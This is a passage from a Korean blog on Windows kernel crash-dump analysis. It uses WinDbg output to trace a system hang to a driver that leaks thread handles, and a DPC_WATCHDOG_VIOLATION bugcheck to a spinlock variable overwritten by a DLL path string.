call to nt!ExfAcquirePushLockShared (fffff800`02ab6f20)

... ...

PsGetNextProcessThread 함수를 지연 의심 함수로 언급했는데 그 이유는 조금 뒤에 설명하겠다. 우선 이 함수의 원형은 다음과 같다.

PETHREAD

PsGetNextProcessThread (

IN PEPROCESS Process,

IN PETHREAD Thread

);

첫 번째 파라미터가 프로세스 오브젝트인 것을 기억하자. 이제 PsGetNextProcessThread 함수를 디스어셈블링해서 살펴보자.

kd> u PsGetNextProcessThread L20

nt!PsGetNextProcessThread:

fffff800`02d278a8 48895c2408 mov qword ptr [rsp+8],rbx

fffff800`02d278ad 48896c2410 mov qword ptr [rsp+10h],rbp

fffff800`02d278b2 4889742418 mov qword ptr [rsp+18h],rsi

fffff800`02d278b7 57 push rdi

fffff800`02d278b8 4154 push r12

fffff800`02d278ba 4155 push r13

fffff800`02d278bc 4156 push r14

fffff800`02d278be 4157 push r15

fffff800`02d278c0 4883ec20 sub rsp,20h

fffff800`02d278c4 65488b3c2588010000 mov rdi,qword ptr gs:[188h]

fffff800`02d278cd 4533ff xor r15d,r15d

fffff800`02d278d0 488bf2 mov rsi,rdx

fffff800`02d278d3 66ff8fc4010000 dec word ptr [rdi+1C4h]

fffff800`02d278da 4d8bf7 mov r14,r15

fffff800`02d278dd 4c8da108030000 lea r12,[rcx+308h] // 1) 프로세스의 스레드 리스트 획득

fffff800`02d278e4 418bef mov ebp,r15d

fffff800`02d278e7 4c8da960010000 lea r13,[rcx+160h]

fffff800`02d278ee 33c0 xor eax,eax

fffff800`02d278f0 418d4f11 lea ecx,[r15+11h]

fffff800`02d278f4 f0490fb14d00 lock cmpxchg qword ptr [r13],rcx

fffff800`02d278fa 0f8594000000 jne nt!PsGetNextProcessThread+0xec (fffff800`02d27994)

fffff800`02d27900 493bf7 cmp rsi,r15

fffff800`02d27903 7575 jne nt!PsGetNextProcessThread+0xd2 (fffff800`02d2797a)

fffff800`02d27905 498b1c24 mov rbx,qword ptr [r12] // 2) 스레드 리스트의 Flink 획득

fffff800`02d27909 493bdc cmp rbx,r12 // 3) 리스트의 끝이면 종료하고 아니면 계속 루프를 돌게 되는 비교문

fffff800`02d2790c 747f je nt!PsGetNextProcessThread+0xe5 (fffff800`02d2798d)

fffff800`02d2790e 4c8db3e0fbffff lea r14,[rbx-420h]

fffff800`02d27915 498bce mov rcx,r14

fffff800`02d27918 e8e3b2d7ff call nt!ObReferenceObjectSafe (fffff800`02aa2c00)

fffff800`02d2791d 413ac7 cmp al,r15b

fffff800`02d27920 0f8485000000 je nt!PsGetNextProcessThread+0x103 (fffff800`02d279ab)

fffff800`02d27926 bb01000000 mov ebx,1

1)번을 보면 rcx+308을 참조하는 명령이 있는데 rcx 는 첫 번째 파라미터다. 이는 프로세스 오브젝트이므로 EPROCESS구조체의 +308 필드를 확인하면 된다.

kd> dt _EPROCESS ThreadListHead

nt!_EPROCESS

+0x308 ThreadListHead : _LIST_ENTRY

1)~3)번을 보면 EPROCESS 구조체의 +308 위치에 있는 ThreadListHead 리스트의 스레드 목록을 열거하고 있다.

링크드 리스트의 경우 리스트 목록이 증가하면 리스트 열거시 목록과 비례해서 성능 지연이 발생한다. 따라서 앞서 이 함수를 지연 의심 함수로 언급한 것이다.

혹시 시스템에 스레드가 엄청 많이 생성되어 ThreadListHead 리스트가 엄청 증가한 것은 아닐까?

이를 검증하려면 시스템의 모든 프로세스를 확인해서 이상한 부분은 없는지 살펴봐야 한다.

!for_each_process 명령을 사용하면 전체 프로세스의 간략한 정보를 알 수 있다.

kd> !for_each_process

PROCESS fffffa8000cda400

SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000

DirBase: 00187000 ObjectTable: fffff8a0000017e0 HandleCount: 501525.

Image: System

PROCESS fffffa8002243b30

SessionId: none Cid: 0118 Peb: 7fffffd8000 ParentCid: 0004

DirBase: 24f55000 ObjectTable: fffff8a0004cce60 HandleCount: 32.

Image: smss.exe

PROCESS fffffa80021476f0

SessionId: 0 Cid: 017c Peb: 7fffffd7000 ParentCid: 016c

DirBase: 1cc2d000 ObjectTable: fffff8a000113630 HandleCount: 443.

Image: csrss.exe

PROCESS fffffa8002c02060

SessionId: 0 Cid: 01a4 Peb: 7fffffdd000 ParentCid: 016c

DirBase: 1c833000 ObjectTable: fffff8a005cca010 HandleCount: 77.

Image: wininit.exe

PROCESS fffffa80028d1060

SessionId: 1 Cid: 01b0 Peb: 7fffffd7000 ParentCid: 019c

DirBase: 19f96000 ObjectTable: fffff8a005ce5c20 HandleCount: 511.

Image: csrss.exe

PROCESS fffffa8002c08060

SessionId: 1 Cid: 01e8 Peb: 7fffffdf000 ParentCid: 019c

DirBase: 1999c000 ObjectTable: fffff8a005dae700 HandleCount: 121.

Image: winlogon.exe

PROCESS fffffa8002c874a0

SessionId: 0 Cid: 0218 Peb: 7fffffdf000 ParentCid: 01a4

DirBase: 1b6cc000 ObjectTable: fffff8a001242560 HandleCount: 230.

Image: services.exe

PROCESS fffffa8002c95770

SessionId: 0 Cid: 0224 Peb: 7fffffdf000 ParentCid: 01a4

DirBase: 1aaa4000 ObjectTable: fffff8a005d78ec0 HandleCount: 569.

Image: lsass.exe

PROCESS fffffa8002c9ab30

SessionId: 0 Cid: 022c Peb: 7fffffdf000 ParentCid: 01a4

DirBase: 1a72e000 ObjectTable: fffff8a005d7e9f0 HandleCount: 148.

Image: lsm.exe

... ...

이럴수가! 첫 번째 System 프로세스의 HandleCount를 보니 501,525개다. 50만 개가 넘는 핸들이 무지막지하게 열려 있는 상태다(보통의 정상적인 프로세스라면 수백~수천개 정도의 핸들만 유지하므로 비정상적인 수치다).

아무래도 시스템에 핸들 누수(Leak)가 발생하고 있는 심각한 상태로 의심된다.

이제 !handle 명령을 통해 Sysem 프로세스인 fffffa8000cda400의 모든 핸들 내역을 확인해보자.

kd> !handle 0 f fffffa80`075a8990

... ...

3734: Object: fffffa80014da060 GrantedAccess: 001fffff Entry: fffff8a00300bcd0

Object: fffffa80014da060 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014da030 (new version)

HandleCount: 1 PointerCount: 1

3738: Object: fffffa80014dab60 GrantedAccess: 001fffff Entry: fffff8a00300bce0

Object: fffffa80014dab60 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014dab30 (new version)

HandleCount: 1 PointerCount: 1

373c: Object: fffffa80014da660 GrantedAccess: 001fffff Entry: fffff8a00300bcf0

Object: fffffa80014da660 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014da630 (new version)

HandleCount: 1 PointerCount: 1

3740: Object: fffffa80014db060 GrantedAccess: 001fffff Entry: fffff8a00300bd00

Object: fffffa80014db060 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014db030 (new version)

HandleCount: 1 PointerCount: 1

3744: Object: fffffa80014dbb60 GrantedAccess: 001fffff Entry: fffff8a00300bd10

Object: fffffa80014dbb60 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014dbb30 (new version)

HandleCount: 1 PointerCount: 1

3748: Object: fffffa80014db660 GrantedAccess: 001fffff Entry: fffff8a00300bd20

Object: fffffa80014db660 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014db630 (new version)

HandleCount: 1 PointerCount: 1

374c: Object: fffffa80014dc060 GrantedAccess: 001fffff Entry: fffff8a00300bd30

Object: fffffa80014dc060 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014dc030 (new version)

HandleCount: 1 PointerCount: 1

3750: Object: fffffa80014dcb60 GrantedAccess: 001fffff Entry: fffff8a00300bd40

Object: fffffa80014dcb60 Type: (fffffa8000cdac40) Thread

ObjectHeader: fffffa80014dcb30 (new version)

HandleCount: 1 PointerCount: 1

... ...

대부분 스레드 핸들로 확인된다. 참조 카운트인 HandleCount와 PointerCount는 각각 1이다.

50만 개가 넘는 스레드 핸들이 아직 열려 있는 상태이므로 ThreadListHead 리스트는 이미 열거가 불가능할 정도로 수 많은 스레드 목록이 추가된 상태일 것이다. 의심이 확신이 되는 순간이다.

이제 시스템을 이렇게 엉망으로 만든 범인을 찾기 위해 스레드를 자세히 확인해야 한다. 임의의 스레드 하나를 선택해 상태를 살펴보자.

kd> !thread fffffa80014dcb60

THREAD fffffa80014dcb60 Cid 0004.38d4 Teb: 0000000000000000 Win32Thread: 0000000000000000 TERMINATED // 종료된 상태

Not impersonating

DeviceMap fffff8a000008aa0

Owning Process fffffa8000cda400 Image: System

Attached Process N/A Image: N/A

Wait Start TickCount 0 Ticks: 40554 (0:00:10:33.656)

Context Switch Count 1 IdealProcessor: 3

UserTime 00:00:00.000

KernelTime 00:00:00.000

Win32 Start Address MyDrv (0xfffff88002e4d3e0)

Stack Init 0 Current fffff880031a69f0

Base fffff880031a7000 Limit fffff880031a1000 Call 0

Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

이미 종료된 TERMINATED 상태의 스레드다. 이어 다른 스레드도 몇 개 확인해보니 모두TERMINATED 상태다. 참조 카운트가 아직 남아 있으므로 오픈된 핸들을 해제하지 않고 스레드가 종료된 상황으로 보인다.

왜냐하면 스레드가 종료될 때 참조 카운트가 0이 아니면 스레드가 제거되지 않고 TERMINATED 상태로 남기 때문이다.

50만개의 스레드가 시스템을 재부팅하기 전까지는 영원히 죽지 못하는 좀비 상태가 돼버렸다.

스레드 핸들이 모두 System 프로세스의 핸들 테이블에 있는 부분에 집중할 필요가 있다.

System 프로세스의 핸들 테이블은 커널 핸들의 테이블로 보통 커널 드라이버에서 nt!PsCreateSystemThread 함수를 통해 시스템 스레드를 생성할 경우 여기에 핸들이 생성된다.

이런 상황이면 커널 핸들을 생성하고 해제하지 않는 커널 드라이버가 범인일 가능성이 매우 높다.

스레드의 Win32 Start Address 정보를 보면 좀비 상태의 스레드 시작 주소가 MyDrv 모듈의 주소로 확인된다. MyDrv 모듈에서 생성한 스레드가 해제되고 있지 않은 상황이다. 따라서 스레드 생성 주체인 MyDrv 모듈이 강력한 용의자다.

최종 확인을 위해 !stacks 명령으로 전체 콜 스택에서 MyDrv의 동작을 살펴보자.

kd> !stacks 2 MyDrv

Proc.Thread .Thread Ticks ThreadState Blocker

[fffff80002c071c0 Idle]

[fffffa8000cda400 System]

4.1eac64 fffffa8003143b60 ffff623d READY nt!KiSwapContext+0x7a

nt!KiQuantumEnd+0x1b4

nt!KiDispatchInterruptContinue+0x16

nt!KiDpcInterruptBypass+0x13

nt!KiSecondaryClockInterrupt+0x1a8

nt!ExfAcquirePushLockExclusive+0xd2

nt!PspInsertThread+0x829

nt!PspCreateThread+0x246

nt!PsCreateSystemThread+0x125

MyDrv+0x1505

nt!PspSystemThreadStartup+0x5a

nt!KiStartSystemThread+0x16

... ...

역시 System 프로세스 중 fffffa8003143b60 스레드에서 지속적으로 시스템 스레드를 생산하고 있다!

이렇게 생성한 스레드를 정상적으로 해제하지 않아 좀비로 만든 것이다.

결국 행이 발생한 원인은 MyDrv 모듈에서 수 많은 시스템 스레드를 생성하면서 해제하지 않았고, 이어 NtQuerySystemInformation 함수 내부에서는 다량의 스레드를 열거하느라 CPU 사용율을 증가시켰기 때문이다.

MyDrv 모듈에 의해 좀비 스레드는 계속 증가하는데 NtQuerySystemInformation 함수는 매우 빈번하게 호출되므로 시스템은 아마 사용이 불가능할 정도로 끔찍하게 느려졌을 것이다.

어쨌든 원인을 찾아 정말 다행이다. 이제 남은 일은 MyDrv 모듈에서 시스템 스레드를 생성하고 해제하지 않은 부분을 찾아 문제를 고치는 것이다.

[0x133] DPC_WATCHDOG_VIOLATION

Paul.. — Sun, 29 Jul 2018 23:26:23 +0900

이번 덤프는 윈도우 8과 서버 2012부터 많은 사람들을 괴롭혔던 BugCheck 0x133: DPC_WATCHDOG_VIOLATION 이라는 특이한 오류다.

이 오류는 BugCheck 0x7F_8에 해당하는 커널 스택 오버 플로우와 매우 유사하다. 커널 스택 오버 플로우가 커널 스택에 대한 사용량 문제라면 0x133은 커널 시간에 대한 사용량 문제다. 커널에서는 일반적인 요청보다 좀 더 중요한 일을 처리해야 할 때 DPC(Deferred Procudure Call)/Dispatch라는 인터럽트 레벨에서 동작하게 된다. 문제는 이 DPC/Dispatch 레벨이 스레드 스케쥴링 등의 운영체제 주요 동작보다도 더 높은 레벨이라 DPC/Dispatch 레벨에서 작업이 지연되면 시스템이 느려지거나 행 증상이 발생할 수도 있다. 물론 운영체제만 사용 가능한 인터럽트 레벨이라면 큰 문제가 없겠지만 불행히도 DPC/Dispatch 레벨은 커널 드라이버라면 스핀락(SpinLock) 함수를 통해 쉽게 사용 가능하다. 상황이 이렇다보니 잘못 작성된 커널 드라이버가 스핀락을 획득하고 오랜 시간 반환하지 않으면 시스템이 멈추는 불상사가 발생한다. 이 문제를 해결하기 위해 새로 추가된 오류 코드가 바로 0x133이다. 커널에서는 별도의 감시자(Watchdog)를 통해 DPC/Dispatch 레벨에서의 동작 시간이 정해진 제한 시간(Time Out)을 넘으면 지체없이 이 오류 코드를 발생시킨다. 여러 모듈이 지연시키는 경우도 각각 동작 시간을 누적하여 제한 시간을 넘기면 이 오류 코드가 발생할 수 있다. 따라서 원인 분석을 위해 성능 지연 구간에 대한 별도의 성능 로그를 수집해야 할 수도 있다. 나는 이런 점에서 0x133을 매우 어려운 커널 스택 오버 플로우 이슈 정도로 생각한다.

물론 여기서는 덤프에서 원인 분석이 가능하도록 단일 모듈에서 성능 지연이 발생한 경우를 살펴볼 것이다.

먼저 !analyze -v 명령을 통해 기본 분석부터 시작해보자.

kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DPC_WATCHDOG_VIOLATION (133)

The DPC watchdog detected a prolonged run time at an IRQL of DISPATCH_LEVEL

or above.

Arguments:

Arg1: 00000001, The system cumulatively spent an extended period of time at

DISPATCH_LEVEL or above. The offending component can usually be

identified with a stack trace.

Arg2: 00001e00, The watchdog period.

Arg3: 00000000, cast to nt!DPC_WATCHDOG_GLOBAL_TRIAGE_BLOCK, which contains

additional information regarding the cumulative timeout

Arg4: 00000000

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 401

BUILD_VERSION_STRING: 14393.693.x86fre.rs1_release.161220-1747

SYSTEM_MANUFACTURER: SAMSUNG ELECTRONICS CO.,LTD

SYSTEM_PRODUCT_NAME: Samsung Desktop System

SYSTEM_SKU: System SKUNumber

SYSTEM_VERSION: CAAAAAAF

BIOS_VENDOR: SAMSUNG ELECTRONICS CO.,LTD

BIOS_VERSION: 04NS

BIOS_DATE: 08/16/2011

BASEBOARD_MANUFACTURER: SAMSUNG ELECTRONICS CO.,LTD

BASEBOARD_PRODUCT: Samsung DeskTop System

BASEBOARD_VERSION: CAAAAAAA

DUMP_TYPE: 1

BUGCHECK_P1: 1

BUGCHECK_P2: 1e00

BUGCHECK_P3: 0

BUGCHECK_P4: 0

DPC_TIMEOUT_TYPE: DPC_QUEUE_EXECUTION_TIMEOUT_EXCEEDED

CPU_COUNT: 4

CPU_MHZ: cdd

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 2a

CPU_STEPPING: 7

CPU_MICROCODE: 6,2a,7,0 (F,M,S,R) SIG: 29'00000000 (cache) 29'00000000 (init)

DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT

BUGCHECK_STR: 0x133

PROCESS_NAME: SMSS.exe

CURRENT_IRQL: 1c

ANALYSIS_SESSION_HOST: PAUL-PC

ANALYSIS_SESSION_TIME: 06-11-2018 22:34:11.0900

ANALYSIS_VERSION: 10.0.16299.91 amd64fre

LAST_CONTROL_TRANSFER: from 81b48d4e to 81b284a8

STACK_TEXT:

d461b7d4 81b48d4e 00000133 00000001 00001e00 nt!KeBugCheckEx

d461b804 81a3b08c 85dc5120 00000002 00000000 nt! ?? ::FNODOBFM::`string'+0x9eae

d461b8d0 820336b7 81a3d64d 00000000 d461ba14 nt!KeClockInterruptNotify+0x36c

d461b8e0 82044cdb 00000002 000000d1 00000000 hal!HalpTimerClockInterruptCommon+0x3f

d461b8e0 81a3d64d 00000002 000000d1 00000000 hal!HalpTimerClockInterrupt+0x1f7

d461b9f0 81ba85d0 c786f3b8 8833d980 83000100 nt!KxWaitForSpinLockAndAcquire+0x1d

d461ba14 81a54003 00000000 830001c8 883125c7 nt!KiAcquireSpinLockInstrumented+0x53

d461ba20 883125c7 0032a582 d461bae0 8831f149 nt!KfAcquireSpinLock+0x33

d461ba2c 8831f149 8a352a0a c786f3b8 00000000 SomeDrv+0x25c7

d461bae0 81ca719d c786f3b8 00000001 00000000 SomeDrv+0xf149

d461bbb8 81ca6f6a 00000000 00000000 042ffdc8 nt!IopXxxControlFile+0x21d

d461bbe4 81b36987 00000300 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

d461bbe4 77ce4d50 00000300 00000000 00000000 nt!KiSystemServicePostCall

042ffde8 00000000 00000000 00000000 00000000 0x77ce4d50

THREAD_SHA1_HASH_MOD_FUNC: 2a46f69c6139803d83a04cedcad275f72ac07d42

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 6f2b762ab8d468cacab44d7f866169a56cdce50c

THREAD_SHA1_HASH_MOD: bd912fdd2f42d7d45cc2017c378e8c588d451ef1

FOLLOWUP_IP:

SomeDrv+25c7

883125c7 8845fe mov byte ptr [ebp-2],al

FAULT_INSTR_CODE: 81fe4588

SYMBOL_STACK_INDEX: 8

SYMBOL_NAME: SomeDrv+25c7

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SomeDrv

IMAGE_NAME: SomeDrv.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 57fde77c

STACK_COMMAND: .thread ; .cxr ; kb

BUCKET_ID_FUNC_OFFSET: 25c7

FAILURE_BUCKET_ID: 0x133_ISR_SomeDrv!unknown_function

BUCKET_ID: 0x133_ISR_SomeDrv!unknown_function

PRIMARY_PROBLEM_CLASS: 0x133_ISR_SomeDrv!unknown_function

TARGET_TIME: 2017-02-27T00:48:23.000Z

OSBUILD: 14393

OSSERVICEPACK: 0

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 1

OSPLATFORM_TYPE: x86

OSNAME: Windows 10

OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS

OS_LOCALE:

USER_LCID: 0

OSBUILD_TIMESTAMP: 2016-12-21 13:24:07

BUILDDATESTAMP_STR: 161220-1747

BUILDLAB_STR: rs1_release

BUILDOSVER_STR: 10.0.14393.693.x86fre.rs1_release.161220-1747

ANALYSIS_SESSION_ELAPSED_TIME: ece

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0x133_isr_SomeDrv!unknown_function

FAILURE_ID_HASH: {c26eac98-dd1d-7af7-3055-fbbff800604a}

Followup: MachineOwner

---------

출력 결과 중 BugCheck 파라미터 부분을 유심히 살펴보면 대략적인 발생 원인을 이해할 수 있다.

Arg1: 00000001, The system cumulatively spent an extended period of time at

DISPATCH_LEVEL or above. The offending component can usually be

identified with a stack trace.

Arg2: 00001e00, The watchdog period.

첫 번째 파라미터는 1이며, 시스템이 DISPATCH_LEVEL 이상에서 장시간 동작한 것이 원인이라고 말한다. 스택 추적을 통해 문제를 일으킨 원인을 확인할 수 있다고도 언급한다.

두 번째 파라미터는 감시 중인 제한 시간으로 Tick 단위다. 하나 혹은 복수의 커널 드라이버가 DISPATCH_LEVEL 이상에서 동작한 누적 시간 값이 제한 시간을 넘길 경우 이 오류가 발생한다.

이를 통해 누군가 DISPATCH_LEVEL 이상에서 0x1e00(7,680) Tick 만큼 장시간 동작한 것이 문제의 원인 임을 짐작할 수 있다. 커널에서 성능 지연이 감지되면 시스템을 멈추는 방식이므로 문제 발생 당시 실행 중인 스레드가 범인일 가능성이 높다. 첫 번째 파라미터 설명에서 실행 중인 콜 스택을 살펴보라는 것도 그런 이유에서다.

그렇다면 !thread 명령으로 현재 실행 중인 스레드 정보를 확인해보자.

kd> !thread

THREAD d8e548c0 Cid 2978.2c68 Teb: 0157e000 Win32Thread: 00000000 RUNNING on processor 0

Not impersonating

DeviceMap 88a03058

Owning Process d8bc6800 Image: SMSS.exe

Attached Process N/A Image: N/A

Wait Start TickCount 39290 Ticks: 7680 (0:00:02:00.000)

Context Switch Count 3651 IdealProcessor: 0

UserTime 00:00:00.062

KernelTime 00:02:00.046

Win32 Start Address 0x0fb738e0

Stack Init d461bca0 Current d461ba2c Base d461c000 Limit d4619000 Call 00000000

Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5

ChildEBP RetAddr Args to Child

d461b7d4 81b48d4e 00000133 00000001 00001e00 nt!KeBugCheckEx

d461b804 81a3b08c 85dc5120 00000002 00000000 nt! ?? ::FNODOBFM::`string'+0x9eae

d461b8d0 820336b7 81a3d64d 00000000 d461ba14 nt!KeClockInterruptNotify+0x36c (FPO: [Non-Fpo])

d461b8e0 82044cdb 00000002 000000d1 00000000 hal!HalpTimerClockInterruptCommon+0x3f (FPO: [0,0,4])

d461b8e0 81a3d64d 00000002 000000d1 00000000 hal!HalpTimerClockInterrupt+0x1f7 (FPO: [0,2] TrapFrame @ d461b978)

d461b9f0 81ba85d0 c786f3b8 8833d980 83000100 nt!KxWaitForSpinLockAndAcquire+0x1d (FPO: [0,0,0])

d461ba14 81a54003 00000000 830001c8 883125c7 nt!KiAcquireSpinLockInstrumented+0x53 (FPO: [Non-Fpo])

d461ba20 883125c7 0032a582 d461bae0 8831f149 nt!KfAcquireSpinLock+0x33 (FPO: [0,0,0])

d461ba2c 8831f149 8a352a0a c786f3b8 00000000 SomeDrv+0x25c7

d461bae0 81ca719d c786f3b8 00000001 00000000 SomeDrv+0xf149

d461bbb8 81ca6f6a 00000000 00000000 042ffdc8 nt!IopXxxControlFile+0x21d (FPO: [Non-Fpo])

d461bbe4 81b36987 00000300 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])

d461bbe4 77ce4d50 00000300 00000000 00000000 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ d461bc14)

042ffde8 00000000 00000000 00000000 00000000 0x77ce4d50

스레드 정보의 Ticks 필드를 보면 정확하게 7680(0x1e00) Tick이 경과했음을 알 수 있다. 2분의 시간이 경과한 순간 커널이 제한 시간을 다 사용한 것으로 판단하여 0x133을 발생시킨 것이다.

이번에는 k명령으로 스레드의 콜 스택을 분석하며 문제가 발생한 상황을 좀 더 이해해보자.

kd> k

# ChildEBP RetAddr

00 d461b7d4 81b48d4e nt!KeBugCheckEx ç 3) 제한 시간이 경과하여 BSOD 발생

01 d461b804 81a3b08c nt! ?? ::FNODOBFM::`string'+0x9eae

02 d461b8d0 820336b7 nt!KeClockInterruptNotify+0x36c

03 d461b8e0 82044cdb hal!HalpTimerClockInterruptCommon+0x3f

04 d461b8e0 81a3d64d hal!HalpTimerClockInterrupt+0x1f7

05 d461b9f0 81ba85d0 nt!KxWaitForSpinLockAndAcquire+0x1d ç 2) 스핀락 획득 시도 중

06 d461ba14 81a54003 nt!KiAcquireSpinLockInstrumented+0x53

07 d461ba20 883125c7 nt!KfAcquireSpinLock+0x33

08 d461ba2c 8831f149 SomeDrv+0x25c7 ç 1) SomeDrv 모듈에서 스핀락 획득 함수 호출

09 d461bae0 81ca719d SomeDrv+0xf149

0a d461bbb8 81ca6f6a nt!IopXxxControlFile+0x21d

0b d461bbe4 81b36987 nt!NtDeviceIoControlFile+0x2a

0c d461bbe4 77ce4d50 nt!KiSystemServicePostCall

0d 042ffde8 00000000 0x77ce4d50

콜 스택을 보면 1)번에서 SomeDrv 모듈이 스핀락을 얻으려고 시도하고 있다. 하지만 스핀락을 획득하지 못해 2)번에서 nt! KxWaitForSpinLockAndAcquire 함수를 통해 획득하기를 기다리고 있다. 동작 자체로는 아무 문제가 없지만 락 획득을 빨리 하지 못한 것이 문제의 원인이다. 무려 2분 동안 락을 획득하지 못하고 있는 것은 정상적인 상황이 아니다. 하지만 이 문제를 분석하기에 앞서 확인해야할 부분이 하나 있다.

앞서 0x133이 발생하려면 제한 시간 외에도 인터럽트 레벨이 DISPATCH_LEVEL 이상이라는 조건이 있었다. 제한 시간 조건은 스레드의 Ticks 정보를 통해 만족함을 확인했지만 인터럽트 레벨 조건은 아직 확인하지 못했다.

문제 발생 당시 인터럽트 레벨을 어떻게 알 수 있을까? 문제의 콜 스택에서 스핀락을 얻으려는 부분이 보이는가? 커널에서 락이나 이벤트를 사용할 경우 내부에서는 동기화를 위해 인터럽트 레벨을 변경하는 경우가 많이 있다. 그렇다면 nt!KfAcquireSpinLock 함수를 디스어셈블링해서 인터럽트 레벨을 변경하는 부분이 있는지 살펴보면 답을 알 수 있다.

kd> u nt!KfAcquireSpinLock

nt!KfAcquireSpinLock:

81a53fd0 8bff mov edi,edi

81a53fd2 53 push ebx

81a53fd3 56 push esi

81a53fd4 8bf1 mov esi,ecx

81a53fd6 ff153891c381 call dword ptr [nt!_imp__KeRaiseIrqlToDpcLevel (81c39138)]

81a53fdc f60506b9c48121 test byte ptr [nt!PerfGlobalGroupMask+0x6 (81c4b906)],21h

81a53fe3 8ad8 mov bl,al

81a53fe5 7515 jne nt!KfAcquireSpinLock+0x2c (81a53ffc)

다행히 시작 부분에 KeRaiseIrqlToDpcLevel 함수를 통해 인터럽트 레벨을 Dpc/Dispatch로 상승시키는 코드가 확인된다. 0x133을 발생시키는 인터럽트 레벨과 제한 시간 조건 모두를 만족하는 상황이므로 SomeDrv 모듈에서 스핀락을 획득하는 동작이 문제의 발단이다.

이제 오랜 시간 동안 스핀락을 획득하지 못한 원인을 밝혀내야 한다. 먼저 스핀락을 획득하는 함수인 nt!KfAcquireSpinLock 함수의 원형을 살펴보자.

KIRQL

FASTCALL

KfAcquireSpinLock(

_Inout_ PKSPIN_LOCK SpinLock

);

<wdm.h>

typedef ULONG_PTR KSPIN_LOCK;

typedef KSPIN_LOCK *PKSPIN_LOCK;

KSPIN_LOCK 구조체의 포인터를 파라미터로 전달받고 있다. 뭔가 특별한 락 구조체인 것처럼 보이지만 wdm.h 헤더 파일을 보면 실은 단순한 unsigned long 변수다. 스핀락은 바로 이 변수를 통해 테스트 앤 셋(Test And Set) 방식으로 동기화를 수행한다. 이 방식을 단순하게 설명하면 락 변수 값이 0이면 스핀락 획득시 변수를 1로 설정하고 락 반환시 0으로 복원한다. 이미 1인 상태에서 스핀락 획득을 시도하면 0이 되길 지속적으로 기다린다(루프를 돌면서 기다리는 이 동작 때문에 스핀락이라고 부른다).

다시 본론으로 돌아와서 이번에는 nt! KfAcquireSpinLock 함수에 전달된 KSPIN_LOCK 변수가 정상인지 확인해야 한다. 콜 스택에서 nt!KfAcquireSpinLock 함수를 호출한 1)번 부분을 디스어셈블링해보자.

kd> ub SomeDrv+0x25c7

SomeDrv+0x25b1:

883125b1 cc int 3

883125b2 8bff mov edi,edi

883125b4 55 push ebp

883125b5 8bec mov ebp,esp

883125b7 51 push ecx

883125b8 c645ff00 mov byte ptr [ebp-1],0

883125bc b980d93388 mov ecx,offset SomeDrv+0x2d980 (8833d980) ç 1) 파라미터

883125c1 ff1508e03288 call dword ptr [SomeDrv+0x1e008 (8832e008)] ç 2) nt!KfAcquireSpinLock 함수 호출

nt!KfAcquireSpinLock 함수 원형을 보면 호출 규약이 FASTCALL 이므로 첫 번째 파라미터는 ecx에 설정된다. 1)번을 보면 SomeDrv+0x2d980 위치의 값을 ecx에 설정하고 있다. 바로 SomeDrv+0x2d980가 KSPIN_LOCK 구조체 변수의 주소다. 2)번에서 호출된 함수는 ln 명령을 사용하면 nt!KfAcquireSpinLock 함수 임을 쉽게 알 수 있다.

kd> ln poi(8832e008)

Browse module

Set bu breakpoint

(81a53fd0) nt!KfAcquireSpinLock | (81a54010) nt!KfReleaseSpinLock

Exact matches:

nt!KfAcquireSpinLock (<no parameter info>)

KSPIN_LOCK 구조체 위치인 SomeDrv+0x2d980 주소도 dd 명령으로 확인해보자.

kd> dd SomeDrv+0x2d980 L1

8833d980 00490057

어라? KSPIN_LOCK 구조체 주소인 8833d980에 저장된 값이 뭔가 이상하다. 스핀락 획득 유무에 따라 0 아니면 1이 있어야 하는데 00490057이라는 비정상적인 값이 들어 있다. 왠지 불길한 예감이 든다. 이럴 때는 db 명령을 통해 8833d980 주소의 메모리를 확인해보면 의외의 단서를 찾을 수 있다.

kd> db 8833d980

8833d980 57 00 49 00 4e 00 44 00-4f 00 57 00 53 00 5c 00 W.I.N.D.O.W.S.\.

8833d990 53 00 59 00 53 00 54 00-45 00 4d 00 33 00 32 00 S.Y.S.T.E.M.3.2.

8833d9a0 5c 00 44 00 4e 00 53 00-41 00 50 00 49 00 2e 00 \.D.N.S.A.P.I...

8833d9b0 44 00 4c 00 4c 00 00 00-59 00 53 00 54 00 45 00 D.L.L...Y.S.T.E.

8833d9c0 4d 00 33 00 32 00 5c 00-44 00 4e 00 53 00 41 00 M.3.2.\.D.N.S.A.

8833d9d0 50 00 49 00 2e 00 44 00-4c 00 4c 00 43 00 3a 00 P.I...D.L.L.C.:.

8833d9e0 5c 00 57 00 49 00 4e 00-44 00 4f 00 57 00 53 00 \.W.I.N.D.O.W.S.

8833d9f0 5c 00 53 00 59 00 53 00-54 00 45 00 4d 00 33 00 \.S.Y.S.T.E.M.3.

역시 00490057은 KSPIN_LOCK 구조체의 정상적인 값이 아닌 어떤 문자열 값의 일부분이다. du 명령으로 약간 앞 쪽을 살펴보면 왠지 전체 문자열을 알 수 있을 것 같다.

kd> du 8833d980-6

8833d97a "C:\WINDOWS\SYSTEM32\DNSAPI.DLL"

